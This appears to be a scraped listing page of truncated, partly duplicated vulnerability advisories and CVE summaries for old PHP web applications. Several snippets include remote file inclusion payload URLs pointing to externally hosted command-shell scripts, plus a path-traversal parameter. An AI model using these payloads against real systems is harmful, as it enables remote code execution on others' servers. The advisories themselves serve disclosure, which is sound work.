HIOX GUEST BOOK (HGB) 4.0 Remote Code Execution Vulnerability

+========================I=R=A=N============================+ HGB Version 4.0 =========================I=R=A=N============================= +========================I=R=A=N============================+ Author : Dj7xpl / Dj7xplatYahoodotcom...

CVE-2007-1795

JCcorp URLshrink 1.3.1 allows remote attackers to execute arbitrary PHP code via the email address field in an HTML link. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...

CVE-2007-1795

JCcorp URLshrink 1.3.1 allows remote attackers to execute arbitrary PHP code via the email address field in an HTML link. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...

mybb-change.txt

Hello,, Mybb Change Password Vulnerability Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] If You Can Use the debug mode you will be able to change the password for and user by knowing the registered email address Enter the...

CVE-2007-1795: Undefined Security Weakness

JCcorp URLshrink 1.3.1 allows remote attackers to execute arbitrary PHP code via the email address field in an HTML link. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...

Mybb Change Password Vulnerability

Hello,, Mybb Change Password Vulnerability Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] If You Can Use the debug mode you will be able to change the password for and user by knowing the registered email address Enter the...

DrakeCMS multiple vulerabilities

Hello DrakeCMS multiple vulerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Local File Inclusion 404.php?dprivate=soqor.net? Local File and Full path classes/captcha/captcha.jpg.php?dprivate=../& Xss Cross Site...

CVE-2007-1179

WebAPP before 0.9.9.5 is affected by improper handling of e-mail addresses across multiple features (Recommend, Email Article, sender/recipient handling, New User Approval, Edit Profiles, Newsletter Subscription, and sending of articles). The description indicates an unknown impact and potential ...

CVE-2007-1179: Undefined Security Weakness

WebAPP before 0.9.9.5 does not properly manage e-mail addresses in certain contexts related to 1 the Recommend feature, Email Article 2 senders and 3 recipients, 4 New User Approval, 5 Edit Profiles, 6 the Newsletter Subscription form, 7 the Recommend form, and 8 sending of articles, which has...

MDKA-2005:048 : mdkonline

Updated mdkonline packages are now available that change the name of the main binary from MandrakeUpdate to MandrivaUpdate due to Mandriva's name change. As well, this update provides fixes the account creation and authentication based on obsolete architectures versions prior to 2006.0. The user...

local Calendar System v1.1 (lcStdLib.inc) Remote File Include

+------------------------------------------------------------------------------------------- local Calendar System v1.1 lcStdLib.inc Remote File Include TrZiNDaN [email protected] Turkey -------------------------------------------------------------------------------------------- download :...

Enemies of Carlotta Shell参数命令执行漏洞

Enemies of Carlotta是一款简单的邮件列表管理器。 Enemies of Carlotta在处理用户参数时存在漏洞，攻击者可能利用此漏洞在用户机器上执行任意命令。 在被用作其他应用程序的shell参数之前，Enemies of Carlotta没有正确地过滤SMTP级的邮件地址，允许远程攻击者在邮件地址中嵌入shell元字符导致执行任意命令。 Lars Wirzenius Enemies of Carlotta 1.2.3 Debian已经为此发布了一个安全公告（DSA-1236-1）以及相应补丁: DSA-1236-1：New enemies-of-carlotta...

BLOG:CMS Remote file include Vulnerability

Hello BLOG:CMS Remote file include Vulnerability Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] admin/PLUGINs/NPUserSharing.php?DIRADMIN=http://www.soqor.net/tools/cmd.txt?admin WwW.SoQoR.NeT...

GenesisTrader v1.0 - Multiple Vulnerabilities

Hello BLOG:CMS Remote file include Vulnerability Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] admin/PLUGINs/NPUserSharing.php?DIRADMIN=http://www.soqor.net/tools/cmd.txt?admin WwW.SoQoR.NeT...

Blog:CMS 4.1.3 - NP_UserSharing.php Remote File Inclusion

Blog:CMS 4.1.3 - NPUserSharing.php Remote File Inclusion BLOG:CMS Remote file include Vulnerability Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] global $DIRADMIN; include...

paypalXSScorry.txt

-=--------------------ADVISORY-------------------=- PayPal.com Author:CorryL x0n3-h4ck.org -=----------------------------------------------------=- -=+ Application: PayPal.com -=+ Version: -=+ Vendor's URL: www.paypal.com -=+ Platform: Linux\Unix -=+ Bug type: XSS -=+ Exploitation: Remote/Local -...

Wili-CMS Multiple Input Validation Vulnerabilities

Wili-CMS Multiple Input Validation Vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Remote include example-view/templates/article.php?globalscontentdir=http://psevil.googlepages.com/cmd.txt?...

Cross site scripting

Cross-site scripting XSS vulnerability in adduser.php in PHP-AGTC Membership System 1.1a and earlier allows remote attackers to inject arbitrary web script or HTML via the email address useremail parameter...

CVE-2006-2687

Cross-site scripting XSS vulnerability in adduser.php in PHP-AGTC Membership System 1.1a and earlier allows remote attackers to inject arbitrary web script or HTML via the email address useremail parameter...

PHP AGTC-Membership system <= v1.1a XSS

PHP AGTC-Membership system = v1.1a XSS Discovered by: Nomenumbra Date: 23/5/2006 impact:moderate privilege escalation,possible defacement Ordinary users can add users to the user management system as well, or change their own email address, which isn't properly sanitized, thus allowing XSS as...